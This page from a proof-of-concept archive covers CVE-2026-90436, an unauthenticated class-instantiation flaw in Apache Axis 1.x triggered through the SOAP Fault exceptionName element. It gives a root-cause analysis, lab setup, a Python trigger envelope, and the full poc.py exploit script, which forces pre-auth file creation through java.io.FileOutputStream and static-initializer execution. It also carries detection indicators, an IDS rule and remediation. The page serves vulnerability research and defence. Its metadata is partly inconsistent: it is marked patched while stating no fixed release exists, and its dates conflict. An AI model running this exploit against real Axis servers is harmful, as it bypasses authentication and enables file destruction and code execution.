PoC Archive PoC Archive
CVE-2026-90436 category: web CVSS 9.8 (CRITICAL) KEV
Patched

Apache Axis 1.x — Unauthenticated Remote Class Instantiation via SOAP Fault exceptionName (CVE-2026-90436)

Published: 2026-11-25 • Researcher: fixedbyreboot (PoC author); Apache Axis project / oss-security 2026/11/06/12 (advisory)

Target software Apache Axis 1.x (Axis1 Java SOAP framework; typically deployed as the axis webapp on Tomcat)
Affected versions All Apache Axis 1.x through 1.4 (NVD product apache/axis, range <= 1.4); Axis 1 is end of life, no fixed release
Status PoC
Severity Critical · CVSS 9.8
CVSS 9.8/10

Exploitation signals

KEV

Confirmed exploited in the wild. Added to CISA KEV 2026-11-18. Federal remediation deadline 2026-11-21.

EPSS 2.7% · 87th percentile

Severity
Critical
CVE
CVE-2026-90436
Category
web
Affected product
Apache Axis 1.x (Axis1 Java SOAP framework; typically deployed as the axis webapp on Tomcat)
Affected versions
All Apache Axis 1.x through 1.4 (NVD product apache/axis, range <= 1.4); Axis 1 is end of life, no fixed release
Disclosed
2026-11-25
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-11-10
Author / Researcherfixedbyreboot (PoC author); Apache Axis project / oss-security 2026/11/06/12 (advisory)
CVE / AdvisoryCVE-2026-90436
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSSv3; vector not provided in the source data)
StatusPoC
Tagsdeserialization, CWE-502, CWE-470, Java, Apache Axis, SOAP, Tomcat, unauthenticated, class-instantiation, static-initializer, EOL
RelatedN/A

Affected Target

FieldValue
Software / SystemApache Axis 1.x (Axis1 Java SOAP framework; typically deployed as the axis webapp on Tomcat)
Versions AffectedAll Apache Axis 1.x through 1.4 (NVD product apache/axis, range <= 1.4); Axis 1 is end of life, no fixed release
Language / PlatformJava; any servlet container / JRE that runs the Axis 1.x webapp (reference lab: Tomcat 9, JRE 11)
Authentication RequiredNo — the fault is parsed before per-service request handlers, so auth handlers do not protect the path
Network Access RequiredYes — one HTTP POST to any reachable Axis servlet endpoint

Summary

Apache Axis 1.x deserializes an inbound SOAP Fault while parsing the request envelope. When the Fault detail carries an exceptionName element, Axis loads the named class with Class.forName — which runs its static initializer — and, if a String-typed data element precedes it, instantiates that class through its String constructor before checking that the object is an AxisFault. Because the envelope is parsed before service dispatch, an authentication handler protecting the target service never sees the request, so an unauthenticated attacker can force classpath class loading and String-constructor instantiation. Loading and instantiation alone execute attacker-influenced code paths, and with a suitable class already on the classpath this leads to remote code execution. All Axis 1.x releases through 1.4 are affected, the project is EOL, and no patched release exists.

Vulnerability Details

Root Cause

Two Axis 1.x fault-handling classes trust attacker-supplied fault metadata:

  • org.apache.axis.message.SOAPFaultDetailsBuilder.onStartChild / setValue handles children of the SOAP <detail> element. For exceptionName it calls org.apache.axis.utils.ClassUtils.forName(name) — an initializing load, so static initializers execute — and records the result as the fault class via builder.setFaultClass.
  • org.apache.axis.message.SOAPFaultBuilder.setFaultData / endElement → createFault() converts the fault data with ConvertWrapper(String.class), then calls faultClass.getConstructor(String.class).newInstance(faultData) and only afterwards casts the result to AxisFault. The resulting ClassCastException is silently swallowed.

Element order matters: <data> must precede <exceptionName>, so the data element records the fault string first and the exceptionName callback then overwrites the fault class, leaving the state (class = attacker choice, data = attacker string). The root cause is therefore uncontrolled class selection / unsafe deserialization of the fault body: no allow-list and no type check happens before loading and construction. NVD classifies this as CWE-502; the upstream repo labels the same primitive CWE-470.

Attack Vector

A single unauthenticated HTTP POST to any Axis servlet endpoint (for example /axis/services/SecureService) with Content-Type: text/xml, an empty SOAPAction, and a SOAP 1.1 envelope whose Body contains <soap:Fault> with <detail><data xsi:type="xsd:string">…</data><exceptionName>…</exceptionName></detail>.

Reachability: AxisServlet.doPost → AxisServer.invoke → transport chain (URLMapper resolves the service) → global request chain → initSOAPConstants() calls Message.getSOAPEnvelope(), which performs the full SAX parse (including fault-class loading and instantiation) — all before h.invoke() → SOAPService.invoke → the service request flow that contains the authentication handler. The handler therefore still returns Client.Unauthenticated, but only after the side effect has already happened.

Impact

An unauthenticated remote attacker can load arbitrary classes from the server classpath (running their static initializers) and instantiate any class exposing a public String constructor with attacker-controlled data, before any authorization decision. With only JDK classes this already yields file creation/truncation (java.io.FileOutputStream), and with a suitable gadget class on the classpath it escalates to remote code execution as the servlet container user. Because the primitive fires during envelope parsing, it bypasses authentication and any service-level request handler, on an EOL product with no fixed release.

Environment / Lab Setup

Output
OS:          Linux x86_64 (Docker; lab evidence captured on a native host replay
             because the test host could not mount overlayfs)
Target:      Apache Axis 1.4 webapp on tomcat:9-jre11-temurin, published on
             127.0.0.1:29080; SecureService protected by lab.cve90436.AuthHandler
Attacker:    Python 3.x (stdlib only), same host or LAN
Tools:       Docker / docker compose, Python 3, curl

Setup Steps

Shell script
1
2
3
4
5
6
docker compose -p cve-2026-90436 up -d --build

curl -s -o /dev/null -w '%{http_code}\n' \
  -H 'Content-Type: text/xml' -H 'SOAPAction: ""' \
  --data '<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ns1:ping xmlns:ns1="urn:lab.cve90436.SecureService"/></soap:Body></soap:Envelope>' \
  http://127.0.0.1:29080/axis/services/SecureService

Proof of Concept

Step-by-Step Reproduction

  1. Start the lab — docker compose -p cve-2026-90436 up -d --build; the axis webapp is published on 127.0.0.1:29080 and SecureService is guarded by a request-flow auth handler.
  2. Run the file-write trigger — python3 poc.py --host 127.0.0.1 --port 29080 --gadget fileout posts exceptionName=java.io.FileOutputStream with data=/tmp/PWNED-90436 and no Authorization header. The String constructor creates/truncates that file; the response is still Client.Unauthenticated.
  3. Run the static-initializer trigger — --gadget static posts lab.cve90436.StaticInitGadget, whose static initializer writes /tmp/PWNED-90436-static, proving that the loading call alone executes code. Java initializes a class once per JVM, so restart the container to re-observe the marker.
  4. Run the controls — --gadget benign (java.lang.String) and --gadget garbage (a nonexistent class) must create nothing; this separates a real instantiation from a generic parse error.
  5. Prove the auth-bypass ordering — the same run pings the service without credentials (blocked, Client.Unauthenticated) and with credentials (pong), showing the handler works yet runs only after parsing. --mode transcript dumps the raw request/response bytes; see evidence/06-raw-http-transcript.txt.

Exploit Code

See poc.py; the lab target is built by Dockerfile and docker-compose.yml, the protected service config is lab-files/server-config.wsdd, and the gadgets are lab-files/StaticInitGadget.java and lab-files/AuthHandler.java.

The trigger envelope (note that <data> must come before <exceptionName>):

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import socket

HOST, PORT = "127.0.0.1", 29080
PATH = "/axis/services/SecureService"
BODY = (
    '<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"'
    ' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"'
    ' xmlns:xsd="http://www.w3.org/2001/XMLSchema">'
    '<soap:Body><soap:Fault><faultcode>x</faultcode><faultstring>x</faultstring>'
    '<detail><data xsi:type="xsd:string">/tmp/PWNED-90436</data>'
    '<exceptionName>java.io.FileOutputStream</exceptionName></detail>'
    '</soap:Fault></soap:Body></soap:Envelope>'
)
req = (
    "POST %s HTTP/1.1\r\nHost: %s:%d\r\n"
    "Content-Type: text/xml; charset=utf-8\r\nSOAPAction: \"\"\r\n"
    "Content-Length: %d\r\nConnection: close\r\n\r\n%s"
) % (PATH, HOST, PORT, len(BODY), BODY)

s = socket.create_connection((HOST, PORT), timeout=30)
s.sendall(req.encode())
print(s.recv(65536).decode("iso-8859-1", "replace"))
s.close()

Expected Output

Output
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
[1] TRIGGER (no Authorization header): exceptionName=java.io.FileOutputStream data=/tmp/PWNED-90436
  ---- trigger response ----
  HTTP/1.1 500
  ... <faultcode>ns1:Client.Unauthenticated</faultcode>
      <faultstring>Unauthorized: missing Authorization header ...</faultstring>
  marker /tmp/PWNED-90436 -> 0 bytes, mode 640, mtime 2026-11-09 21:07:21
  [PASS] pre-auth remote class instantiation (fileout)
[2] CONTROL C3a: plain ping, no Authorization header
  [PASS] auth handler blocks unauthenticated requests on this service
[3] CONTROL C3b: plain ping WITH Authorization header
  [PASS] service reachable with credentials (handler logic works)   # pong
[4/4 checks passed]

The static-initializer variant reports marker /tmp/PWNED-90436-static -> ... content='static-initializer-ran', and the upstream patched-jar control (evidence/07-control-patched-axis.log) shows the same triggers no longer create markers.

Detection & Indicators of Compromise

  • HTTP POSTs to Axis endpoints (/axis/services/*, /axis/servlet/AxisServlet) with Content-Type: text/xml, an empty SOAPAction, and a body containing <soap:Fault> / <Fault> with a <detail> that includes both <data and <exceptionName>.
  • exceptionName values naming classes outside the Axis package — especially JDK classes such as java.io.FileOutputStream, java.io.FileWriter, or framework classes — are a strong signal; normal Axis clients do not send exceptionName on inbound requests.
  • Responses that pair a rejection fault (Client.Unauthenticated, Server.NoService) with observable server-side side effects (new files, class-load activity) — the ordering is the tell.
  • Tomcat/Axis logs containing ClassNotFoundException, NoSuchMethodException (class without a String constructor), or swallowed ClassCastException around SOAPFaultBuilder.createFault.
  • New zero-length or truncated files in /tmp or web-writable directories, and JVM class-loading of unexpected application classes during fault handling.

SIEM / IDS rule (example):

Output
1
2
3
4
5
alert http any any -> any any (msg:"CVE-2026-90436 Axis SOAP fault exceptionName class instantiation"; \
  flow:to_server,established; content:"POST"; http_method; \
  content:"exceptionName"; http_client_body; nocase; \
  content:"<detail"; http_client_body; nocase; \
  content:"Content-Type|3a| text/xml"; http_header; nocase; sid:9009043;)

Remediation

ActionDetail
PatchNo patched release exists — Axis 1 is EOL/unsupported. Upgrade/backport the upstream fix commit 41f3b4e8d04e310ca81f86b92630ab2c11d608bd (non-initializing ClassUtils.forName(name, false) plus AxisFault-assignability gates in SOAPFaultDetailsBuilder.setValue and SOAPFaultBuilder.createFault), or migrate the service to Axis2 / CXF / a maintained SOAP stack.
WorkaroundBlock inbound envelopes whose fault <detail> carries exceptionName at a WAF/reverse proxy (the Axis client never legitimately sends it); if a private build is possible, apply the three-file patched-class overlay used for the upstream control.
Config HardeningRemove or undeploy the Axis webapp if unused; minimize the servlet classpath so no dangerous String-constructor gadget is reachable; run the container unprivileged with a read-only root filesystem and restricted egress; monitor fault responses and unexpected class loads.

References

Notes

Auto-ingested from https://github.com/fixedbyreboot/CVE-2026-90436-POC on 2026-11-25.

Review verdict: real PoC, not a detector. The script sends a crafted SOAP Fault to a live Axis servlet and validates the effect by observing server-side marker files: java.io.FileOutputStream (JDK class, creates/truncates the file through its String constructor) proves instantiation, and the lab StaticInitGadget proves that Class.forName alone executes a static initializer. It also ships the negative controls (benign java.lang.String, garbage class name) that must not trigger, a ping-without-credentials control (Client.Unauthenticated) and a ping-with-credentials control (pong) showing the auth handler works but runs after parsing, plus a patched-axis control. No detection/scanner logic is present.

Limiters: this is a primitive-level, lab-only PoC, not a turnkey stock-classpath RCE — arbitrary class instantiation and static-initializer execution are demonstrated, but full code execution requires a suitable String-constructor gadget already on the target classpath, and the lab marker writes go to /tmp. The static-initializer marker fires only once per JVM (restart the container to re-observe). Upstream evidence logs note the reference run used a native replay of the same tomcat:9-jre11-temurin bits because that host could not mount overlayfs; the shipped Dockerfile/compose are canonical. Metadata differences: the upstream README states the CVE is unscored and not in KEV, while this archive’s source data lists CVSS 9.8 and KEV 2026-11-18 (published 2026-11-06); prefer NVD for current values, and note NVD’s CWE-502 versus the repo’s CWE-470 label. The repository is MIT licensed (see LICENSE) and is archived with attribution; only the Python PoC, Dockerfile/compose, the four lab-files, and the raw HTTP transcript were copied — the remaining upstream evidence/*.log captures were left in place to stay within the file limits. Run only against systems you own or have written authorization to test.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/fixedbyreboot/CVE-2026-90436-POC (see README for attribution/license)
"""
poc.py - CVE-2026-90436: Apache Axis 1.x unauthenticated remote class
instantiation via SOAP fault <exceptionName> (CWE-470).

Apache Axis 1.x (through 1.4, EOL/unsupported) instantiates an arbitrary
classpath class with attacker-controlled data when it deserializes an
inbound SOAP Body whose first entry is a <Fault> carrying:

    <detail>
      <data xsi:type="xsd:string">ATTACKER_DATA</data>
      <exceptionName>FULL.CLASS.Name</exceptionName>
    </detail>

During service dispatch AxisServer.initSOAPConstants force-parses the
request envelope BEFORE any per-service handler chain runs, so a service
protected by an authentication request-flow handler is still vulnerable:
SOAPFaultDetailsBuilder.setValue() runs ClassUtils.forName(exceptionName)
(initializing load -> static initializers execute) and
SOAPFaultBuilder.createFault() then calls
faultClass.getConstructor(String.class).newInstance(data) - the object is
constructed BEFORE the (AxisFault) cast, whose ClassCastException is
silently swallowed.

Reachable gadgets shipped in this lab:
  fileout : java.io.FileOutputStream - String ctor creates/truncates a file
  static  : lab.cve90436.StaticInitGadget - static initializer writes a file
            (proves Class.forName alone executes code; NOTE - Java initializes
            a class only once per JVM, so the static marker appears on the
            first trigger after a server restart)

Usage:
    python3 poc.py --mode run       --gadget fileout [--host H] [--port P]
    python3 poc.py --mode transcript --gadget static [--host H] [--port P]

    --host    target host (default 127.0.0.1 - run only against labs you own)
    --port    target port (default 29080, the lab's published port)
    --path    service path (default /axis/services/SecureService)
    --gadget  fileout | static | benign | garbage
    --container  container name for marker checks via `docker exec`
                 (omit when poc.py runs on the same host as the server)
    --mode    run: trigger + controls with [PASS]/[FAIL] verdicts
              transcript: dump the raw HTTP request/response bytes

Exit code 0 when every check passes, 1 otherwise.
"""

import argparse
import os
import socket
import subprocess
import sys
import time

# Marker files the lab gadgets create (also see lab-files/*.java).
MARKER_FILEOUT = "/tmp/PWNED-90436"
MARKER_STATIC = "/tmp/PWNED-90436-static"
MARKER_ABSENT = "/tmp/SHOULD-NOT-EXIST-90436"   # controls: must never appear

# exceptionName / data pairs per --gadget selection.
GADGETS = {
    "fileout": ("java.io.FileOutputStream", MARKER_FILEOUT),
    "static": ("lab.cve90436.StaticInitGadget", "anything"),
    "benign": ("java.lang.String", MARKER_ABSENT),
    "garbage": ("com.nonexistent.cve90436.Garbage", MARKER_ABSENT),
}

# Standard SOAP 1.1 envelope used by the upstream regression test
# (TestFaultClassInstantiation). NOTE: <data> must precede <exceptionName>:
# the data element first records the fault data and sets faultClass from its
# xsi:type; the exceptionName callback then overwrites faultClass with the
# attacker-chosen class, so the final state is (class=attacker, data=string).
ENVELOPE = (
    '<soap:Envelope'
    ' xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"'
    ' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"'
    ' xmlns:xsd="http://www.w3.org/2001/XMLSchema">'
    '<soap:Body>'
    '<soap:Fault>'
    '<faultcode>x</faultcode>'
    '<faultstring>x</faultstring>'
    '<detail>'
    '<data xsi:type="xsd:string">{data}</data>'
    '<exceptionName>{exception}</exceptionName>'
    '</detail>'
    '</soap:Fault>'
    '</soap:Body>'
    '</soap:Envelope>'
)

# Legit RPC ping for the auth-handler controls (no fault trick).
PING_ENVELOPE = (
    '<soap:Envelope'
    ' xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">'
    '<soap:Body>'
    '<ns1:ping xmlns:ns1="urn:lab.cve90436.SecureService"/>'
    '</soap:Body>'
    '</soap:Envelope>'
)

AUTH_HEADER = "Authorization: Basic bGFiOmxhYg=="  # presence = authenticated in lab


def build_trigger(exception_name, data):
    """Render the SOAP fault trigger envelope."""
    return ENVELOPE.format(exception=exception_name, data=data)


def raw_request(host, port, path, body, extra_headers=()):
    """Send one raw HTTP request over a socket; return (status, headers, body).

    Kept deliberately low-level (Connection: close + recv loop) so the
    transcript mode can show the exact bytes on the wire.
    """
    headers = [
        "POST %s HTTP/1.1" % path,
        "Host: %s:%d" % (host, port),
        "Content-Type: text/xml; charset=utf-8",
        'SOAPAction: ""',
        "Content-Length: %d" % len(body.encode("utf-8")),
    ]
    headers.extend(extra_headers)
    headers.append("Connection: close")
    payload = ("\r\n".join(headers) + "\r\n\r\n" + body).encode("utf-8")

    sock = socket.create_connection((host, port), timeout=30)
    try:
        sock.sendall(payload)
        chunks = []
        while True:
            got = sock.recv(65536)
            if not got:
                break
            chunks.append(got)
        raw = b"".join(chunks)
    finally:
        sock.close()

    head, sep, body_bytes = raw.partition(b"\r\n\r\n")
    lines = head.decode("iso-8859-1").split("\r\n")
    return lines[0], "\r\n".join(lines[1:]), body_bytes, payload


def marker_cmd(cmd, container):
    """Run a marker-inspection command locally or via docker exec."""
    if container:
        full = ["docker", "exec", container] + cmd
    else:
        full = cmd
    return subprocess.run(full, capture_output=True, text=True)


def clear_markers(paths, container):
    """Remove the lab marker files before a fresh attempt."""
    for p in paths:
        marker_cmd(["rm", "-f", p], container)


def marker_state(path, container):
    """Return a human-readable marker description ('absent' if not there)."""
    if container:
        probe = marker_cmd(["sh", "-c",
                            "stat -c '%s %y' %s 2>/dev/null; cat %s" % (path, path, path)],
                           container)
        out = probe.stdout.strip()
        return out if out else "absent"
    if not os.path.exists(path):
        return "absent"
    st = os.stat(path)
    try:
        content = open(path, "rb").read().decode("utf-8", "replace").strip()
    except OSError:
        content = ""
    desc = "%d bytes, mode %o, mtime %s" % (st.st_size, st.st_mode & 0o7777,
                                            time.strftime("%Y-%m-%d %H:%M:%S",
                                                          time.localtime(st.st_mtime)))
    if content:
        desc += ", content=%r" % content
    return desc


def verdict(label, ok, detail):
    print("  [%s] %s" % ("PASS" if ok else "FAIL", label))
    for line in detail.splitlines():
        print("        " + line)
    return 1 if ok else 0


def show_exchange(tag, status, headers, body):
    print("  ---- %s response ----" % tag)
    print("  " + status)
    for line in headers.split("\r\n"):
        print("  " + line)
    text = body.decode("utf-8", "replace")
    for line in text.splitlines():
        print("  " + line)
    print("")


def dechunk(body_bytes):
    """Decode a chunked HTTP body for readable display (run mode only)."""
    out = b""
    rest = body_bytes
    while True:
        line_end = rest.find(b"\r\n")
        if line_end < 0:
            break
        try:
            size = int(rest[:line_end].split(b";")[0], 16)
        except ValueError:
            return body_bytes  # body was not chunk-encoded after all
        if size == 0:
            break
        out += rest[line_end + 2: line_end + 2 + size]
        rest = rest[line_end + 2 + size + 2:]
    return out or body_bytes


def run_mode(args):
    """Trigger + controls; every verdict comes from observed responses or
    observed marker states only."""
    results = []
    url_desc = "http://%s:%d%s" % (args.host, args.port, args.path)
    print("[*] target   : %s" % url_desc)
    print("[*] service  : SecureService, protected by lab.cve90436.AuthHandler")
    print("[*] gadget   : %s" % args.gadget)
    print("[*] markers  : %s\n" % ("docker exec on %s" % args.container
                                    if args.container else "local filesystem"))

    exception_name, data = GADGETS[args.gadget]

    # ---- 1. main trigger: fault trick against the auth-protected service,
    #         no credentials -----------------------------------------------
    trigger_markers = {  # markers each gadget should / should not produce
        "fileout": (MARKER_FILEOUT, True),
        "static": (MARKER_STATIC, True),
        "benign": (MARKER_ABSENT, False),
        "garbage": (MARKER_ABSENT, False),
    }
    marker_path, marker_expected = trigger_markers[args.gadget]
    clear_markers([MARKER_FILEOUT, MARKER_STATIC, MARKER_ABSENT], args.container)

    print("[1] TRIGGER (no Authorization header): exceptionName=%s data=%s"
          % (exception_name, data))
    status, headers, body, payload = raw_request(
        args.host, args.port, args.path,
        build_trigger(exception_name, data))
    show_exchange("trigger", status, headers, dechunk(body))
    state = marker_state(marker_path, args.container)
    print("  marker %s -> %s" % (marker_path, state))
    if marker_expected:
        ok = state != "absent"
        results.append(verdict(
            "pre-auth remote class instantiation (%s)" % args.gadget, ok,
            "marker %s despite the same service rejecting unauthenticated"
            "\nrequests (auth handler runs only after envelope parsing)"
            % ("created: " + state if ok else "NOT created")))
    else:
        ok = state == "absent"
        results.append(verdict(
            "control: benign/garbage exceptionName has no side effect", ok,
            "%s correctly %s" % (marker_path,
                                 "absent" if ok else "UNEXPECTEDLY CREATED")))
    bypass_marker_ok = ok

    # ---- 2. control C3a: same service, plain ping, no credentials -------
    print("[2] CONTROL C3a: plain ping, no Authorization header")
    status, headers, body, _ = raw_request(args.host, args.port, args.path,
                                           PING_ENVELOPE)
    show_exchange("ping no-auth", status, headers, dechunk(body))
    blocked = "Unauthorized" in body.decode("utf-8", "replace")
    results.append(verdict(
        "auth handler blocks unauthenticated requests on this service",
        blocked,
        "response faultstring contains 'Unauthorized': %s" % blocked))

    # ---- 3. control C3b: same service, ping WITH Authorization ----------
    print("[3] CONTROL C3b: plain ping WITH Authorization header")
    status, headers, body, _ = raw_request(args.host, args.port, args.path,
                                           PING_ENVELOPE,
                                           extra_headers=(AUTH_HEADER,))
    show_exchange("ping with-auth", status, headers, dechunk(body))
    allowed = ("pong" in body.decode("utf-8", "replace"))
    results.append(verdict(
        "service reachable with credentials (handler logic works)", allowed,
        "ping returned 'pong': %s" % allowed))

    # ---- 4. combined bypass conclusion ----------------------------------
    if args.gadget in ("fileout", "static"):
        ok = bypass_marker_ok and blocked
        results.append(verdict(
            "AUTH BYPASS: trigger side effect happened despite the auth"
            " handler", ok,
            "same endpoint: fault trick -> marker created without creds;"
            " plain ping -> Client.Unauthenticated"))
    else:
        results.append(verdict(
            "controls hold (no instantiation for benign/garbage input)",
            bypass_marker_ok, "no marker side effect observed"))

    print("")
    passed, total = sum(results), len(results)
    print("[%d/%d checks passed]" % (passed, total))
    return 0 if passed == total else 1


def transcript_mode(args):
    """Dump the raw HTTP request + response bytes for the selected trigger."""
    exception_name, data = GADGETS[args.gadget]
    body = build_trigger(exception_name, data)
    status, headers, resp_body, payload = raw_request(args.host, args.port,
                                                      args.path, body)
    print("### raw HTTP request (%d bytes) ###" % len(payload))
    print(payload.decode("utf-8", "replace"))
    print("")
    print("### raw HTTP response ###")
    print(status)
    print(headers)
    print("")
    print("### raw response body (%d bytes) ###" % len(resp_body))
    try:
        print(resp_body.decode("utf-8"))
    except UnicodeDecodeError:
        print(repr(resp_body))
    return 0


def main():
    ap = argparse.ArgumentParser(
        description="CVE-2026-90436 PoC (Apache Axis 1.x SOAP fault "
                    "exceptionName class instantiation)")
    ap.add_argument("--host", default="127.0.0.1",
                    help="target host (default: 127.0.0.1)")
    ap.add_argument("--port", type=int, default=29080,
                    help="target port (default: 29080)")
    ap.add_argument("--path", default="/axis/services/SecureService",
                    help="service path (default: /axis/services/SecureService)")
    ap.add_argument("--gadget", default="fileout",
                    choices=sorted(GADGETS.keys()),
                    help="trigger gadget: fileout | static | benign | garbage")
    ap.add_argument("--container", default="",
                    help="docker container name for marker checks "
                         "(default: check the local filesystem)")
    ap.add_argument("--mode", choices=("run", "transcript"), default="run",
                    help="run: trigger+controls with verdicts; "
                         "transcript: raw HTTP dump")
    args = ap.parse_args()

    if args.mode == "run":
        sys.exit(run_mode(args))
    sys.exit(transcript_mode(args))


if __name__ == "__main__":
    main()